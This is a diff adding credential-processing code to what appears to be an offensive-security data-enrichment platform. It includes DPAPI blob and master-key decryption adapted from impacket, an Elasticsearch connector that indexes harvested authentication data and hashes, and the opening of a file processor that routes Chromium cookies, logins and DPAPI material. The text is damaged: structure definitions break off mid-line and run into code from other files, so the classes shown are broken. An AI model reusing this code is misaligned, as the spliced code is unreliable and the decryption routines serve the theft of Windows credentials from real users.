+ ALGORITHMS.CALG_HMAC.value: (160 // 8, SHA512, None, None, 512 // 8),
+ ALGORITHMS.CALG_3DES.value: (192 // 8, DES3, DES3.MODE_CBC, 64 // 8),
+ ALGORITHMS.CALG_SHA_512.value: (128 // 8, SHA512, None, None, 1024 // 8),
+ ALGORITHMS.CALG_AES_256.value: (256 // 8, AES, AES.MODE_CBC, 128 // 8),
+}
+
+
+class DPAPI_BLOB(Structure):
+ structure = (
+ ("Version", " ALGORITHMS_DATA[self["HashAlgo"]][4]:
+ derivedKey = HMAC.new(sessionKey, digestmod=ALGORITHMS_DATA[self["HashAlgo"]][1]).digest()
+ else:
+ derivedKey = sessionKey
+
+ if len(derivedKey) < ALGORITHMS_DATA[self["CryptAlgo"]][0]:
+ # Extend the key
+ derivedKey += b"\x00" * ALGORITHMS_DATA[self["HashAlgo"]][4]
+ ipad = bytearray([i ^ 0x36 for i in bytearray(derivedKey)][: ALGORITHMS_DATA[self["HashAlgo"]][4]])
+ opad = bytearray([i ^ 0x5C for i in bytearray(derivedKey)][: ALGORITHMS_DATA[self["HashAlgo"]][4]])
+ derivedKey = ALGORITHMS_DATA[self["HashAlgo"]][1].new(ipad).digest() + ALGORITHMS_DATA[self["HashAlgo"]][1].new(opad).digest()
+ derivedKey = fixparity(derivedKey)
+
+ return derivedKey
+
+ def decrypt(self, key, entropy=None):
+ if len(key) == 64:
+ # full key passed, so calculate the SHA1 of it
+ keyHash = SHA1.new(key).digest()
+ elif len(key) == 20:
+ # SHA1 passed, so just use that
+ keyHash = key
+ else:
+ return None
+
+ sessionKey = HMAC.new(keyHash, self["Salt"], ALGORITHMS_DATA[self["HashAlgo"]][1])
+ if entropy is not None:
+ sessionKey.update(entropy)
+
+ sessionKey = sessionKey.digest()
+
+ # Derive the key
+ derivedKey = self.deriveKey(sessionKey)
+
+ cipher = ALGORITHMS_DATA[self["CryptAlgo"]][1].new(derivedKey[: ALGORITHMS_DATA[self["CryptAlgo"]][0]], mode=ALGORITHMS_DATA[self["CryptAlgo"]][2], iv=b"\x00" * ALGORITHMS_DATA[self["CryptAlgo"]][3])
+ cleartext = unpad(cipher.decrypt(self["Data"]), ALGORITHMS_DATA[self["CryptAlgo"]][1].block_size)
+
+ # Now check the signature
+
+ # ToDo Fix this, it's just ugly, more testing so we can remove one
+ toSign = self.rawData[20:][: len(self.rawData) - 20 - len(self["Sign"]) - 4]
+
+ # Calculate the different HMACKeys
+ keyHash2 = keyHash + b"\x00" * ALGORITHMS_DATA[self["HashAlgo"]][1].block_size
+ ipad = bytearray([i ^ 0x36 for i in bytearray(keyHash2)][: ALGORITHMS_DATA[self["HashAlgo"]][1].block_size])
+ opad = bytearray([i ^ 0x5C for i in bytearray(keyHash2)][: ALGORITHMS_DATA[self["HashAlgo"]][1].block_size])
+ a = ALGORITHMS_DATA[self["HashAlgo"]][1].new(ipad)
+ a.update(self["HMac"])
+
+ hmacCalculated1 = ALGORITHMS_DATA[self["HashAlgo"]][1].new(opad)
+ hmacCalculated1.update(a.digest())
+
+ if entropy is not None:
+ hmacCalculated1.update(entropy)
+
+ hmacCalculated1.update(toSign)
+
+ hmacCalculated3 = HMAC.new(keyHash, self["HMac"], ALGORITHMS_DATA[self["HashAlgo"]][1])
+ if entropy is not None:
+ hmacCalculated3.update(entropy)
+
+ hmacCalculated3.update(toSign)
+
+ if hmacCalculated1.digest() == self["Sign"] or hmacCalculated3.digest() == self["Sign"]:
+ return cleartext
+ else:
+ return None
diff --git a/cmd/enrichment/enrichment/tasks/dpapi/masterkey.py b/cmd/enrichment/enrichment/tasks/dpapi/masterkey.py
new file mode 100644
index 0000000..4ab8e84
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/dpapi/masterkey.py
@@ -0,0 +1,237 @@
+# Adapted from https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/examples/dpapi.py
+# Apache License Version 1.1
+# Modifications by @harmj0y: tweaked to use fastpbkdf2 for faster key derivation
+
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+# DPAPI and Windows Vault parsing structures and manipulation
+#
+# Author:
+# Alberto Solino (@agsolino)
+#
+# References:
+# All of the work done by these guys. I just adapted their work to my needs.
+# - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28
+# - https://github.com/jordanbtucker/dpapick
+# - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did)
+# - http://blog.digital-forensics.it/2016/01/windows-revaulting.html
+# - https://www.passcape.com/windows_password_recovery_vault_explorer
+# - https://www.passcape.com/windows_password_recovery_dpapi_master_key
+#
+
+from __future__ import division, print_function
+
+# 3rd Party Libraries
+from Cryptodome.Cipher import AES, DES3
+from Cryptodome.Hash import HMAC, SHA1, SHA512
+from impacket.dcerpc.v5.enum import Enum
+from impacket.structure import Structure
+from msfastpbkdf2 import pbkdf2_hmac
+
+# Algorithm classes
+ALG_CLASS_ANY = 0
+ALG_CLASS_SIGNATURE = 1 << 13
+ALG_CLASS_MSG_ENCRYPT = 2 << 13
+ALG_CLASS_DATA_ENCRYPT = 3 << 13
+ALG_CLASS_HASH = 4 << 13
+ALG_CLASS_KEY_EXCHANGE = 5 << 13
+ALG_CLASS_ALL = 7 << 13
+
+# Algorithm types
+ALG_TYPE_ANY = 0
+ALG_TYPE_DSS = 1 << 9
+ALG_TYPE_RSA = 2 << 9
+ALG_TYPE_BLOCK = 3 << 9
+ALG_TYPE_STREAM = 4 << 9
+ALG_TYPE_DH = 5 << 9
+ALG_TYPE_SECURECHANNEL = 6 << 9
+ALG_SID_ANY = 0
+ALG_SID_RSA_ANY = 0
+ALG_SID_RSA_PKCS = 1
+ALG_SID_RSA_MSATWORK = 2
+ALG_SID_RSA_ENTRUST = 3
+ALG_SID_RSA_PGP = 4
+ALG_SID_DSS_ANY = 0
+ALG_SID_DSS_PKCS = 1
+ALG_SID_DSS_DMS = 2
+ALG_SID_ECDSA = 3
+
+# Block cipher sub ids
+ALG_SID_DES = 1
+ALG_SID_3DES = 3
+ALG_SID_DESX = 4
+ALG_SID_IDEA = 5
+ALG_SID_CAST = 6
+ALG_SID_SAFERSK64 = 7
+ALG_SID_SAFERSK128 = 8
+ALG_SID_3DES_112 = 9
+ALG_SID_CYLINK_MEK = 12
+ALG_SID_RC5 = 13
+ALG_SID_AES_128 = 14
+ALG_SID_AES_192 = 15
+ALG_SID_AES_256 = 16
+ALG_SID_AES = 17
+ALG_SID_SKIPJACK = 10
+ALG_SID_TEK = 11
+
+CRYPT_MODE_CBCI = 6 # ANSI CBC Interleaved
+CRYPT_MODE_CFBP = 7 # ANSI CFB Pipelined
+CRYPT_MODE_OFBP = 8 # ANSI OFB Pipelined
+CRYPT_MODE_CBCOFM = 9 # ANSI CBC + OF Masking
+CRYPT_MODE_CBCOFMI = 10 # ANSI CBC + OFM Interleaved
+
+ALG_SID_RC2 = 2
+ALG_SID_RC4 = 1
+ALG_SID_SEAL = 2
+
+# Diffie - Hellman sub - ids
+ALG_SID_DH_SANDF = 1
+ALG_SID_DH_EPHEM = 2
+ALG_SID_AGREED_KEY_ANY = 3
+ALG_SID_KEA = 4
+ALG_SID_ECDH = 5
+
+# Hash sub ids
+ALG_SID_MD2 = 1
+ALG_SID_MD4 = 2
+ALG_SID_MD5 = 3
+ALG_SID_SHA = 4
+ALG_SID_SHA1 = 4
+ALG_SID_MAC = 5
+ALG_SID_RIPEMD = 6
+ALG_SID_RIPEMD160 = 7
+ALG_SID_SSL3SHAMD5 = 8
+ALG_SID_HMAC = 9
+ALG_SID_TLS1PRF = 10
+ALG_SID_HASH_REPLACE_OWF = 11
+ALG_SID_SHA_256 = 12
+ALG_SID_SHA_384 = 13
+ALG_SID_SHA_512 = 14
+
+# secure channel sub ids
+ALG_SID_SSL3_MASTER = 1
+ALG_SID_SCHANNEL_MASTER_HASH = 2
+ALG_SID_SCHANNEL_MAC_KEY = 3
+ALG_SID_PCT1_MASTER = 4
+ALG_SID_SSL2_MASTER = 5
+ALG_SID_TLS1_MASTER = 6
+ALG_SID_SCHANNEL_ENC_KEY = 7
+ALG_SID_ECMQV = 1
+
+
+# algorithm identifier definitions
+class ALGORITHMS(Enum):
+ CALG_MD2 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2
+ CALG_MD4 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4
+ CALG_MD5 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5
+ CALG_SHA = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA
+ CALG_SHA1 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1
+ CALG_RSA_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY
+ CALG_DSS_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY
+ CALG_NO_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY
+ CALG_RSA_KEYX = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_RSA | ALG_SID_RSA_ANY
+ CALG_DES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_DES
+ CALG_3DES_112 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_3DES_112
+ CALG_3DES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_3DES
+ CALG_DESX = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_DESX
+ CALG_RC2 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_RC2
+ CALG_RC4 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_STREAM | ALG_SID_RC4
+ CALG_SEAL = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_STREAM | ALG_SID_SEAL
+ CALG_DH_SF = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_DH_SANDF
+ CALG_DH_EPHEM = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_DH_EPHEM
+ CALG_AGREEDKEY_ANY = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_AGREED_KEY_ANY
+ CALG_KEA_KEYX = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_KEA
+ CALG_HUGHES_MD5 = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_MD5
+ CALG_SKIPJACK = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_SKIPJACK
+ CALG_TEK = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_TEK
+ CALG_SSL3_SHAMD5 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5
+ CALG_SSL3_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SSL3_MASTER
+ CALG_SCHANNEL_MASTER_HASH = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_MASTER_HASH
+ CALG_SCHANNEL_MAC_KEY = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_MAC_KEY
+ CALG_SCHANNEL_ENC_KEY = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_ENC_KEY
+ CALG_PCT1_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_PCT1_MASTER
+ CALG_SSL2_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SSL2_MASTER
+ CALG_TLS1_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_TLS1_MASTER
+ CALG_RC5 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_RC5
+ CALG_HMAC = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC
+ CALG_TLS1PRF = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF
+ CALG_HASH_REPLACE_OWF = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF
+ CALG_AES_128 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_128
+ CALG_AES_192 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_192
+ CALG_AES_256 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_256
+ CALG_AES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES
+ CALG_SHA_256 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256
+ CALG_SHA_384 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384
+ CALG_SHA_512 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512
+ CALG_ECDH = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH
+ CALG_ECMQV = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV
+ CALG_ECDSA = ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA
+
+
+ALGORITHMS_DATA = {
+ # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize
+ ALGORITHMS.CALG_SHA.value: (160 // 8, SHA1, None, None, 512 // 8), # type: ignore
+ ALGORITHMS.CALG_HMAC.value: (160 // 8, SHA512, None, None, 512 // 8), # type: ignore
+ ALGORITHMS.CALG_3DES.value: (192 // 8, DES3, DES3.MODE_CBC, 64 // 8), # type: ignore
+ ALGORITHMS.CALG_SHA_512.value: (128 // 8, SHA512, None, None, 1024 // 8), # type: ignore
+ ALGORITHMS.CALG_AES_256.value: (256 // 8, AES, AES.MODE_CBC, 128 // 8), # type: ignore
+}
+
+
+class MasterKey(Structure):
+ structure = (
+ ("Version", " None:
+ task = asyncio.create_task(func)
+ self.tasks_set.add(task)
+ task.add_done_callback(self.tasks_set.discard)
+
+ async def run(self) -> None:
+ await logger.ainfo("Starting the ElasticConnector")
+
+ tasks = [
+ self.auth_data_q.Read(self.send_authentication_data), # type: ignore
+ self.extracted_hash_q.Read(self.send_extracted_hash), # type: ignore
+ self.file_info_q.Read(self.send_file_info), # type: ignore
+ self.file_data_enriched_q.Read(self.send_file_data_enriched), # type: ignore
+ self.file_data_plaintext_q.Read(self.send_file_data_plaintext), # type: ignore
+ self.file_data_sourcecode_q.Read(self.send_file_data_sourcecode), # type: ignore
+ self.process_enriched_q.Read(self.send_process_enriched), # type: ignore
+ self.service_enriched_q.Read(self.send_service_enriched), # type: ignore
+ self.registry_value_q.Read(self.send_registry_value), # type: ignore
+ self.named_pipe_q.Read(self.send_named_pipe), # type: ignore
+ self.network_connection_q.Read(self.send_network_connection), # type: ignore
+ self.consumer(),
+ ]
+
+ for task in tasks:
+ await self.create_task(task)
+
+ await asyncio.Future()
+
+ async def send_authentication_data(self, q_msg: pb.AuthenticationDataIngestionMessage) -> None:
+ await self.send_without_processing(q_msg, constants.ES_INDEX_AUTHENTICATION_DATA)
+
+ async def send_extracted_hash(self, q_msg: pb.ExtractedHashMessage) -> None:
+ await self.send_without_processing(q_msg, constants.ES_INDEX_EXTRACTED_HASH)
+
+ async def send_file_info(self, q_msg: pb.FileInformationIngestionMessage) -> None:
+ await self.send_without_processing(q_msg, constants.ES_INDEX_FILE_INFORMATION)
+
+ async def send_file_data_enriched(self, q_msg: pb.FileDataEnrichedMessage) -> None:
+ await self.process_file_data_enriched(q_msg)
+
+ async def send_file_data_plaintext(self, q_msg: pb.FileDataPlaintextMessage) -> None:
+ await self.process_file_data_plaintext(q_msg)
+
+ async def send_file_data_sourcecode(self, q_msg: pb.FileDataSourcecodeMessage) -> None:
+ await self.process_file_data_sourcecode(q_msg)
+
+ async def send_process_enriched(self, q_msg: pb.ProcessEnrichedMessage) -> None:
+ await self.send_without_processing(q_msg, constants.ES_INDEX_PROCESS_CATEGORY)
+
+ async def send_service_enriched(self, q_msg: pb.ServiceEnrichedMessage) -> None:
+ await self.send_without_processing(q_msg, constants.ES_INDEX_SERVICE_ENRICHED)
+
+ async def send_registry_value(self, q_msg: pb.RegistryValueIngestionMessage) -> None:
+ await self.send_without_processing(q_msg, constants.ES_INDEX_REGISTRY_VALUE)
+
+ async def send_named_pipe(self, q_msg: pb.NamedPipeIngestionMessage) -> None:
+ await self.send_without_processing(q_msg, constants.ES_INDEX_NAMED_PIPE)
+
+ async def send_network_connection(self, q_msg: pb.NetworkConnectionIngestionMessage) -> None:
+ await self.send_without_processing(q_msg, constants.ES_INDEX_NETWORK_CONNECTION)
+
+ @aio.time(Summary("elastic_process_file_data_enriched", "Time spent processing a file_data_enriched topic")) # type: ignore
+ async def process_file_data_enriched(self, event: pb.FileDataEnrichedMessage):
+ """
+ Main function to process file_data_enriched events.
+ """
+ metadata = MessageToDict(event.metadata)
+
+ for d in event.data:
+ # grab the data entry for this iteration and merge it with the parent metadata
+ dataDict = MessageToDict(d)
+ dataDict["metadata"] = metadata
+ object_id = d.object_id
+
+ enc_file_name = urllib.parse.quote(d.name)
+ dataDict["objectIdURL"] = f"{self.web_api_url}download/{object_id}?name={enc_file_name}"
+
+ if "extractedPlaintext" in dataDict:
+ plainext_object_id = dataDict["extractedPlaintext"]
+ if "error" not in plainext_object_id:
+ dataDict[
+ "extractedPlaintextURL"
+ ] = f"{self.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{plainext_object_id}')))),index:'0e93c4fb-c291-4d22-84da-e49ec27b959a')&_g=(time:(from:now-1y%2Fd,to:now))"
+
+ if "convertedPdf" in dataDict:
+ pdf_object_id = dataDict["convertedPdf"]
+ if "error" not in pdf_object_id:
+ dataDict["convertedPdfURL"] = f"{self.web_api_url}download/{pdf_object_id}?name={enc_file_name}.pdf"
+
+ # handle the case of when the file is a PDF
+ if dataDict["path"].endswith(".pdf"):
+ object_id = dataDict["objectId"]
+ dataDict["convertedPdfURL"] = f"{self.web_api_url}download/{object_id}?name={enc_file_name}.pdf"
+
+ if "extractedSource" in dataDict:
+ extracted_source_id = dataDict["extractedSource"]
+ if "error" not in extracted_source_id:
+ dataDict["extractedSourceURL"] = f"{self.web_api_url}download/{extracted_source_id}?name={enc_file_name}.zip"
+
+ await self.send_to_elastic(constants.ES_INDEX_FILE_DATA_ENRICHED, dataDict)
+
+ @aio.time(Summary("elastic_process_file_data_plaintext", "Time spent processing a file_data_plaintext topic")) # type: ignore
+ async def process_file_data_plaintext(self, event: pb.FileDataPlaintextMessage):
+ """
+ Main function to process file_data_plaintext events.
+ """
+ metadata = MessageToDict(event.metadata)
+
+ for d in event.data:
+ # grab the data entry for this iteration and merge it with the parent metadata
+ data = MessageToDict(d)
+ data["metadata"] = metadata
+
+ # TODO: Change this to lookup the object size before downloading. See https://stackoverflow.com/questions/5315603/how-do-i-get-the-file-key-size-in-boto-s3
+ file_uuid = uuid.UUID(d.object_id)
+
+ with await self.storage.download(file_uuid) as temp_file:
+ if os.path.getsize(temp_file.name) > 104857600:
+ await logger.aerror("Nemesis object_id over 100MB limit")
+ else:
+ # index the plaintext if we have it
+ with open(temp_file.name, "r") as f:
+ data["text"] = f.read()
+
+ object_id = data["objectId"]
+ data["objectIdURL"] = f"{self.web_api_url}download/{object_id}"
+ originating_object_id = data["originatingObjectId"]
+ data[
+ "originatingObjectURL"
+ ] = f"{self.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{originating_object_id}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))"
+
+ if "originatingObjectConvertedPdf" in data:
+ pdf_object_id = data["originatingObjectConvertedPdf"]
+ data["originatingObjectConvertedPdfUrl"] = f"{self.web_api_url}download/{pdf_object_id}?name=pdf.pdf"
+
+ await self.send_to_elastic(constants.ES_INDEX_FILE_DATA_PLAINTEXT, data)
+
+ @aio.time(Summary("elastic_process_file_data_sourcecode", "Time spent processing a file_data_sourcecode topic")) # type: ignore
+ async def process_file_data_sourcecode(self, event: pb.FileDataSourcecodeMessage):
+ """
+ Main function to process file_data_sourcecode events.
+ """
+ metadata = MessageToDict(event.metadata)
+
+ for d in event.data:
+ # grab the data entry for this iteration and merge it with the parent metadata
+ data = MessageToDict(d)
+ data["metadata"] = metadata
+
+ # TODO: Change this to lookup the object size before downloading. See https://stackoverflow.com/questions/5315603/how-do-i-get-the-file-key-size-in-boto-s3
+ file_uuid = uuid.UUID(d.object_id)
+
+ with await self.storage.download(file_uuid) as temp_file:
+ if os.path.getsize(temp_file.name) > 104857600:
+ await logger.aerror("Nemesis object_id over 100MB limit")
+ else:
+ # index the text of the source code file
+ with open(temp_file.name, "r") as f:
+ data["text"] = f.read()
+ object_id = data["objectId"]
+ data["downloadURL"] = f"{self.web_api_url}download/{object_id}"
+ data[
+ "fileObjectURL"
+ ] = f"{self.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{object_id}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))"
+ await self.send_to_elastic(constants.ES_INDEX_FILE_DATA_SOURCECODE, data)
+
+ @aio.time(Summary("elastic_send_without_processing", "Time spent submitting process_enriched messages to Elastic/Postgres")) # type: ignore
+ async def send_without_processing(
+ self,
+ q_msg: pb.AuthenticationDataIngestionMessage
+ | pb.FileInformationIngestionMessage
+ | pb.ProcessEnrichedMessage
+ | pb.RegistryValueIngestionMessage
+ | pb.ServiceEnrichedMessage
+ | pb.ExtractedHashMessage,
+ index: ElasticIndex,
+ ):
+ metadata = MessageToDict(q_msg.metadata)
+
+ for i in range(len(q_msg.data)):
+ # grab the data entry for this iteration and merge it with the parent metadata
+ data = MessageToDict(q_msg.data[i])
+ data["metadata"] = metadata
+ await self.send_to_elastic(index, data)
+
+ @aio.time(Summary("send_to_elastic", "Time spent submitting data directly to Elastic")) # type: ignore
+ async def send_to_elastic(self, index: ElasticIndex, data: dict[str, Any]):
+ await logger.adebug("Submitting document to the Elastic", index=index)
+
+ # try:
+ # resp = await self.es_client.index(index=index, document=data)
+
+ # # TODO: Make this work. Problem is when under lots of pressure, too many tasks get created and either
+ # # memory/CPU exhaustion occurs from too many tasks and/or Elastic/nginx-ingress can't consume events fast enough and occasionally errors
+ # # resp = await self.create_task(
+ # # self.es_client.index(index=index, document=data)
+ # # )
+ # if resp and ("result" in resp) and (resp["result"] != "created"):
+ # await logger.aerror(
+ # "Submitting to elastic failed", index=index, response=resp["result"]
+ # )
+ # except ConnectionTimeout:
+ # await logger.aerror("Connection to Elastic timed out", index=index)
+ # except Exception as e:
+ # await logger.aerror("Error submitting to Elastic", index=index, error=e)
+
+ data["_index"] = index
+ await self.es_submit_queue.put(data)
+
+ async def consumer(self):
+ logger.info("Starting Elastic consumer")
+ timeout = 1.0 # Timeout in seconds
+ docs_to_process = []
+ num_batched_documents = 50
+
+ while True:
+ try:
+ # Wait for up to timeout seconds for items to be added to the queue
+ item = await asyncio.wait_for(self.es_submit_queue.get(), timeout=timeout)
+
+ docs_to_process.append(item)
+
+ num_docs = len(docs_to_process)
+ if num_docs == num_batched_documents:
+ await logger.adebug("Submitting documents to Elastic", doc_count=num_docs)
+ await self.create_task(self.send_in_bulk_to_es(docs_to_process))
+ docs_to_process = []
+
+ except asyncio.TimeoutError:
+ # Timeout occurred - process the items we have so far
+ num_docs = len(docs_to_process)
+ if num_docs > 0:
+ # Process what we have right now
+ await logger.adebug(
+ "ES submit queue timeout hit. Processing queued up documents",
+ doc_count=num_docs,
+ )
+ await self.create_task(self.send_in_bulk_to_es(docs_to_process))
+ docs_to_process = []
+
+ continue
+
+ async def send_in_bulk_to_es(self, items):
+ # Use async_bulk() to submit the actions as a single API call
+ errors: List[Any]
+ num_successful, errors = await async_bulk(self.es_client, items) # type: ignore # ignoring because stats_only is False, so a List will be returned
+
+ if num_successful == len(items):
+ # All items were submitted successfully
+ pass
+ else:
+ await logger.awarning(
+ "Not all items were submitted to Elastic",
+ num_successful=num_successful,
+ num_items=len(items),
+ )
+
+ # Handle the results
+ for result in errors:
+ await logger.aerror("Failed to submit message to elastic", message=result)
diff --git a/cmd/enrichment/enrichment/tasks/file_processor.py b/cmd/enrichment/enrichment/tasks/file_processor.py
new file mode 100644
index 0000000..e4dbae6
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/file_processor.py
@@ -0,0 +1,1186 @@
+# Standard Libraries
+import asyncio
+import glob
+import os
+import pathlib
+import re
+import shutil
+import subprocess
+import tempfile
+import uuid
+from datetime import datetime
+from typing import Optional
+
+# 3rd Party Libraries
+import aiohttp
+import enrichment.lib.canaries as canary_helpers
+import enrichment.lib.helpers as helpers
+import nemesiscommon.constants as constants
+import nemesispb.nemesis_pb2 as pb
+import structlog
+import yara
+from binaryornot.check import is_binary
+from enrichment.services.text_extractor import TextExtractorInterface
+from nemesiscommon.messaging import (MessageQueueConsumerInterface,
+ MessageQueueProducerInterface)
+from nemesiscommon.nemesis_tempfile import TempFile
+from nemesiscommon.services.alerter import AlerterInterface
+from nemesiscommon.storage import StorageInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+from sumy.nlp.tokenizers import Tokenizer
+from sumy.parsers.plaintext import PlaintextParser
+from sumy.summarizers.text_rank import TextRankSummarizer
+
+logger = structlog.get_logger(module=__name__)
+
+
+class FileProcessor(TaskInterface):
+ alerter: AlerterInterface
+ storage: StorageInterface
+ text_extractor: TextExtractorInterface
+
+ # URIs
+ crack_list_uri: str
+ dotnet_uri: str
+ gotenberg_uri: str
+ kibana_url: str
+ ml_models_uri: str
+
+ # Queues
+ in_q_filedata: MessageQueueConsumerInterface
+ in_q_filedataenriched: MessageQueueConsumerInterface
+ out_q_authdata: MessageQueueProducerInterface
+ out_q_chromiumcookies: MessageQueueProducerInterface
+ out_q_chromiumdownloads: MessageQueueProducerInterface
+ out_q_chromiumhistory: MessageQueueProducerInterface
+ out_q_chromiumlogins: MessageQueueProducerInterface
+ out_q_chromiumstatefile: MessageQueueProducerInterface
+ out_q_dpapiblob: MessageQueueProducerInterface
+ out_q_dpapimasterkey: MessageQueueProducerInterface
+ out_q_filedata: MessageQueueProducerInterface
+ out_q_filedataenriched: MessageQueueProducerInterface
+ out_q_filedataplaintext: MessageQueueProducerInterface
+ out_q_filedatasourcecode: MessageQueueProducerInterface
+ out_q_rawdata: MessageQueueProducerInterface
+
+ chunk_size: int
+ model_word_limit: int
+ extracted_archive_size_limit: int
+ data_download_dir: str
+ kibana_url: str
+
+ def __init__(
+ self,
+ alerter: AlerterInterface,
+ storage: StorageInterface,
+ text_extractor: TextExtractorInterface,
+ # URIs
+ crack_list_uri: str,
+ dotnet_uri: str,
+ gotenberg_uri: str,
+ ml_models_uri: str,
+ public_kibana_url: str,
+ # Other settings
+ chunk_size: int,
+ data_download_dir: str,
+ extracted_archive_size_limit: int,
+ model_word_limit: int,
+ # Queues
+ in_q_filedata: MessageQueueConsumerInterface,
+ in_q_filedataenriched: MessageQueueConsumerInterface,
+ out_q_alerting: MessageQueueProducerInterface,
+ out_q_authdata: MessageQueueProducerInterface,
+ out_q_chromiumcookies: MessageQueueProducerInterface,
+ out_q_chromiumdownloads: MessageQueueProducerInterface,
+ out_q_chromiumhistory: MessageQueueProducerInterface,
+ out_q_chromiumlogins: MessageQueueProducerInterface,
+ out_q_chromiumstatefile: MessageQueueProducerInterface,
+ out_q_dpapiblob: MessageQueueProducerInterface,
+ out_q_dpapimasterkey: MessageQueueProducerInterface,
+ out_q_filedata: MessageQueueProducerInterface,
+ out_q_filedataenriched: MessageQueueProducerInterface,
+ out_q_filedataplaintext: MessageQueueProducerInterface,
+ out_q_filedatasourcecode: MessageQueueProducerInterface,
+ out_q_rawdata: MessageQueueProducerInterface,
+ ):
+ self.alerter = alerter
+ self.storage = storage
+ self.text_extractor = text_extractor
+
+ self.crack_list_uri = crack_list_uri
+ self.dotnet_uri = dotnet_uri
+ self.gotenberg_uri = gotenberg_uri
+ self.kibana_url = public_kibana_url
+ self.ml_models_uri = ml_models_uri
+
+ self.chunk_size = chunk_size # number of bytes to read at a time per file
+ self.data_download_dir = data_download_dir
+ self.extracted_archive_size_limit = extracted_archive_size_limit # upper size limit of an (extracted) archive to process
+ self.model_word_limit = model_word_limit # only summarize/extract passwords for documents below this word limit
+
+ self.in_q_filedata = in_q_filedata
+ self.in_q_filedataenriched = in_q_filedataenriched
+ self.out_q_alert = out_q_alerting
+ self.out_q_authdata = out_q_authdata
+ self.out_q_chromiumcookies = out_q_chromiumcookies
+ self.out_q_chromiumdownloads = out_q_chromiumdownloads
+ self.out_q_chromiumhistory = out_q_chromiumhistory
+ self.out_q_chromiumlogins = out_q_chromiumlogins
+ self.out_q_chromiumstatefile = out_q_chromiumstatefile
+ self.out_q_dpapiblob = out_q_dpapiblob
+ self.out_q_dpapimasterkey = out_q_dpapimasterkey
+ self.out_q_filedata = out_q_filedata
